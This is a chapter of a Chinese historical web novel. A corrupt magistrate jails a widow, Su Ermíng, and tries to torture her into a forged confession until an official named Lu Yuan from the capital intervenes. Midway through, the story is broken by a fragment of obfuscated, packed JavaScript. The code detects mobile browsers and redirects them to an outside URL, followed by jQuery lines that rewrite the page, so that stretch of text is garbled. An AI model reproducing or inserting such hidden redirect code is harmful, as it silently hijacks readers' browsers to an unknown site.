一匹快马连夜出京，风驰电掣，直奔恩自县城。


    几个时辰前，沈家血光之灾的事情，传遍了小小的县城，杀夫的流言愈演愈烈。


    “先前那苏尔茗就到县衙击鼓鸣冤，好在张大人心明眼亮，没让那毒妇的诡计得逞！这下好了，自寻死路，放着好好地贵妇不做，非要当囚徒！”


    “男人嘛，不就是爱玩了点，换做是我做沈夫人，沈老爷抬几十个我眼睛都不带眨一下！”


    “我怎么听说，那沈老爷脾气不好，经常打骂夫人？”一个杂役打扮的人，突然插入路边几个妇人的议论中。


    “打人？”妇人嗤笑一声，双手抱胸，白眼都翻上天去，“花沈家那么多钱，打你两下怎么了？没钱的，不照样打骂还得伺候？不知足！”


    “听说沈家娶她一个落魄书生的女儿，花了上千两银子大办排场。”另一妇人手里磕着一把瓜子，呸地将瓜子皮吐掉，“别说千两，给我一半，我都愿嫁！保准不给沈老爷添麻烦，可惜了……这顶好的夫婿。”


    “要我说，这苏尔茗就应该千刀万剐！”


    “对！”


    杂役模样的赵春花沉着脸，远离了那几个越发激愤的妇人，一脚拐进了小巷子消失不见。


    不远处，两个沐春楼的小学徒手里拿着个小荷包在那等着。


    “那小子怎么上厕所这么磨磨蹭蹭？都多久了还不回来？”


    “保不齐是吓坏了，今日这场面他哪里见过？方才说腹痛让你拿着荷包免得弄脏，我们先回沐春楼等吧。”


    二人渐渐远去，长街上早已没有了赵春花的身影。


    县城的府衙里，张鸿志提着小泥壶正在往嘴里灌茶，一脸怯意。


    堂内的蒋英正在上报：“大人，消息放出去之后，几乎没有人质疑。这沈家夫人苏尔茗本就甚少出门，在恩自县三年更是无一亲友，她爹娘妹妹都在城外的村子，无人知晓她入狱的消息。”


    何师爷站在一旁暗暗点头，捋着胡须，眼中精明万分：“大人，我看不如……借这个机会，把沈家……”


    他单手合拢攥拳，抓了一把空气放入袖袋，抬头看着一脸兴趣的张鸿志，挑了挑眉。


    “这可是个送到嘴边的肥肉。”


    张鸿志斜倚在圈椅中，双腿搭在公案上翘着脚，颇为得意地一抬袖子：“这不……我的扳指哪儿去了！”


    张鸿志本就不是个有钱人，平日里根本没有带首饰的习惯，方才便觉得似乎少了什么，何师爷提醒起来，他竟才发现那戒指不翼而飞！


    “我连如厕睡觉都不曾将它摘下，今日，只有那女人进了我的身！”张鸿志几乎是从桌椅间跳了起来，丰腴的肥肉还未停下波动，便随着他一同去往地牢了。


    何师爷和蒋英对视一眼，何师爷点了点头，“去吧，把刑房的老赵叫来，或许等会用得上。”


    蒋英领命，带人直奔刑房。


    何师爷将手背在身后，慢吞吞地往牢房去，叹了口气：“女人啊，目光短浅……”


    夜里，冷风透过监牢里高高的狭小天窗将潮湿霉腐的味道吹散几分，反而更添刺骨的寒冷。


    发霉的干草堆上，苏尔茗面无表情地抱膝坐着，呆呆地看着自己眼前的一块石砖。


    沈万金的死其实与她并无直接联系，但张鸿志的神情，分明是想借机将她定罪处死，然后将沈家吞并。


    无论她有罪无罪，一个富甲一方的寡妇，都会是他们眼里的肥肉。


    她垂着头，手指落在布满潮湿水汽的石砖上，无意识地划下一个“竹”字。


    竹奕。


    昏暗的台阶忽然被火光照亮，传来急促地脚步声。


    她胡乱用手将那字迹抹掉，抬头看向来人。


    “沈夫人，我原本想给你个痛快。”张鸿志身量偏矮，官帽遮住了火光，看不清他阴暗的表情。


    “民女不知做了何事，惹大人不快。”苏尔茗缓缓站起身，俯视着张鸿志，眼神坚毅，“大人说要给我个痛快，民女不知触犯了哪条刑律，还请大人将证据明示。”


    “莫要跟我装傻充愣。我只问你一句，”张鸿志接过狱卒手中的食盒，掀开盖子，立刻迸发出饭菜的香气，“扳指在哪里？”


    苏尔茗看都不看，淡定地垂下目光缓缓一笑。


    “大人，民女听不懂。不知大人问的是自己的扳指，还是别人的？”


    “放肆！”蒋英大喊。


    她转头看向蒋英：“蒋大人先前说带我进来审问，怎么如今直接定了我的罪？这便是大人所说的不冤好人？”


    “你！”张鸿志将那食盒摔在地上，拂袖而出。


    他站在牢门外，神色阴狠地吩咐：“来人，嫌犯拒不交代，给我用刑！”


    两名狱卒二话不说将擒住苏尔茗臂膀，将她带往旁边的隔间，捆上刑架。


    铁链捆在她手腕间，隔着衣袖冰得她一个激灵，浅色的衣裙上立刻蹭上了铁链上暗褐色的脏污痕迹。


    整个刑房里都弥漫着一股无法消散的血腥气味，不远处火盆里噼啪声，还有烧红的烙铁发出滋滋的声响。


    张鸿志捋着胡须满意地眯起眼睛，脸在半明半暗的火光里格外阴森。


    他转身吩咐负责刑讯的老赵：“让她开口。”


    又将何师爷手里卷起的一个纸卷拿过来，递给老赵：“还有这口供，让她签字画押。”


    老赵接过纸卷，缓缓展开，上面赫然写着“因不满沈万金纳妾……遂痛下杀手，意图霸占沈家财富”等字样。


    老赵连连点头，抱拳回答：“大人，小的省得。”


    张鸿志不耐烦地挥了挥手，命人将刑房的门合上。


    老赵将那口供往桌上一拍，朗声问：“你这个时候若是识相点，或许还能留你个全尸。”


    “张大人！”苏尔茗强装镇定，颤声质问，“我乃高奉案件中唯一的生还者，若是京中大理寺传我入京作证，不知大人该如何答复？”


    张鸿志隔着木栏同她相望，眼神疯狂闪烁，未发一言。


    老赵在一旁挑选刑具的动作也停了下来，看着张鸿志的反应。


    何师爷附在张鸿志耳边小声说了什么，时不时看了她几眼。


    半晌，张鸿志古怪一笑：“他？你活不活着，高奉都必死。更何况，眼下你是个阶下囚，还轮不到京中大理寺过问你一个村妇的生死！”


    “老赵，给我用烙铁狠狠地把她的嘴封上！”


    “得令！”


    老赵举起那通红的烙铁便直奔她而来，滚烫的热浪在几米以外就能掀起一股烧糊的气味。


    忽然，牢房的石阶上连滚带爬地下来一个衙役。


    他口中大喊：“大人，京中的陆大人要见您，现在正在堂内等着呢！”


    张鸿志嘴角的笑意一收，正了神色。


    他看着那不远处即将按上白嫩皮肉的烙铁，心里痒痒地，想要听那一声皮肉发出滋啦的声响，而后痛苦扭曲的嚎叫声宛如天籁。


    苏尔茗惨白着脸，看着近在咫尺的通红烙铁，翘起的发梢在烙铁上顷刻化为灰烬，脸上已被它的热度熏红，她额间不由得淌下大颗的汗珠。


    爹、娘……


    她眼前忽然闪过一袭青衫，那人语气带笑问她：“夫人，可要雇我？”


    她认命地闭上了眼。


    “老赵，等一下。”张鸿志喝止。


    滚烫的热浪远离脸上的一瞬间，苏尔茗下意识地松了一口气，脱力地靠在刑架上。


    老赵面无表情地笑了笑，将那烙铁按在了一旁的木桌上，立刻腾起一股黑烟，他语气遗憾：“就这点胆量……啧啧。”


    不远处，张鸿志恶狠狠地瞪了她一眼，拂袖而去。


    “先将她送回牢里，等我回来。”


    张鸿志大步迈出地牢，刚一出大门，便碰上了满脸严肃的陆远。


    他想起方才苏尔茗的话，转了转眼珠，连忙恭敬行礼：“陆大人，大人深夜寻我，可是高奉的案子落了东西？”


    陆远从身后掏出一本卷宗，上面写得正是沈家杀人案，张鸿志左眼皮跳了跳。


    陆远将张鸿志的表情看在眼里，面上却丝毫不见急切，一脸正色道：“高奉的案件已经移交大理寺，不日便会出结果。我来此，是因另一件事。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470922|183729||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >张鸿志刚松了一口气，准备打个手势让人继续刑讯逼问苏尔茗。


    只听陆远道：“大理寺卿听说恩自县今日出了件杀人案，命我连夜过来，以防恩自县出现第二个高奉。”


    “方才我看了这卷宗，沈万金尸首的勘验结果以及嫌犯的作案工具和证物，嫌犯已经畏罪自尽。不知大人下一步打算如何？”


    张鸿志从衣袖中伸出的手一顿，立刻缩了回去，抬起手擦了擦额间的冷汗。


    他思忖许久，才道：“陆大人对着恩自县的情形有所不知，沈家的夫人苏尔茗平日里对死者沈万金心生怨怼，曾多次递交诉状，控诉沈万金家暴一事，但据我所调查此事皆为苏尔茗捏造，所以她具有作案的动机，本官不可不查。”


    “羁押罪犯需要证据，不知大人可有人证、物证证明？”陆远低头看着张鸿志，手中的卷宗被他不自觉捏紧，手背青筋分明。


    张鸿志忽然便有些磕巴：“嗯……这个……当时的诉状已被处理，现场的人证……暂时都被封锁在沈家……”


    陆远不耐地打断他，厉声质问：“那便是没有证据便抓人，大人是要打算屈打成招？莫非大人这多年来无一上报案件，便是靠这种见不得光的手段？”


    张鸿志被说中心事，越发的心虚。


    他瞥着陆远面无表情的脸咂摸不出意图，心里七上八下，只得撒谎敷衍：“陆大人……这就言重了，是下官这次心急，疏忽了。”


    见陆远沉着脸，他连忙吩咐身后的蒋英：“去，把沈家的女眷送回去，快去！”


    张鸿志脸上带着讨好的笑意，伸手想要从陆远手里接过那卷宗，却不防他突然将手抽回，手里落了个空。


    张鸿志手愣在半空，险些维持不住脸上的假笑，低声问：“陆大人，这是何意？”


    陆远将那卷宗同手一起背在身后，神色莫测：“大理寺卿温正远命我来处理此案，还望张大人多多配合。”


    张鸿志张了张嘴，急得推了一把何师爷。


    何师爷只得上前，行了一礼：“陆大人……这”


    不待何师爷再说什么，陆远利落地转身离去。


    “此案须在明日天亮一个时辰后，将案情公布于众，还望大人和诸位同僚，辛苦一番。”


    徒留张鸿志与何师爷二人面面相觑。


    半晌，张鸿志微微眯起眼，脸色涨红，一拳狠狠砸在掌心，正要破口大骂。


    何师爷连忙劝慰：“大人，此事还需徐徐图之。那陆远，还能日日在这恩自县不成？”


    张鸿志看了眼何师爷，这才露出个笑模样，拍了拍何师爷的肩膀：“你说得对。”


    二人不慌不忙地往府衙院子里去了。


    月上中天，此时正是夜风最寒的三更天。


    苏尔茗被人从地牢里粗暴地推搡出来，从那阴暗潮湿的地方迈出，抬头便见天上明亮的月色，恍若隔世。


    她下意识抱紧自己的双臂，瑟缩着苦笑了声。


    身后突然一暖，一件带着残余体温的披风，覆上了她的肩头。


    苏尔茗如同受惊的鸟儿，下意识将那披风拂开，往前迈一大步与身后的黑影拉开距离。


    这才敢回头瞧，入眼便是那一袭熟悉的青衫，风尘仆仆、满是泥泞。


    “竹奕……”她看着他举起披风的手，生出几分愧疚。


    陆远立刻收回手，将披风搭在臂上，脸上神色淡淡，看不出表情：“看来又是我自作多情，夫人根本不需要我的好意。”


    他眼神紧盯着她，见她并无大碍，还是松了一口气。


    而后却发现，她自认出他便错开了眼神，不敢再抬头与他对视一眼，始终沉默着站在那。


    心头忽然生出烦闷。


    他垂下目光不再言语，利落地转身迈开步子，打算送她回去。


    刚迈出一步，衣袖忽然被身后的人扯住。


    他脚步一顿，板着脸缓缓回身。


    盈亮的月色里，他看到她眼里框着泪水，鼻尖微红，手里攥着他的衣袖，用力地像是抓住一根救命稻草。


    她带着哭腔，柔声问：“你……能不能别丢下我？”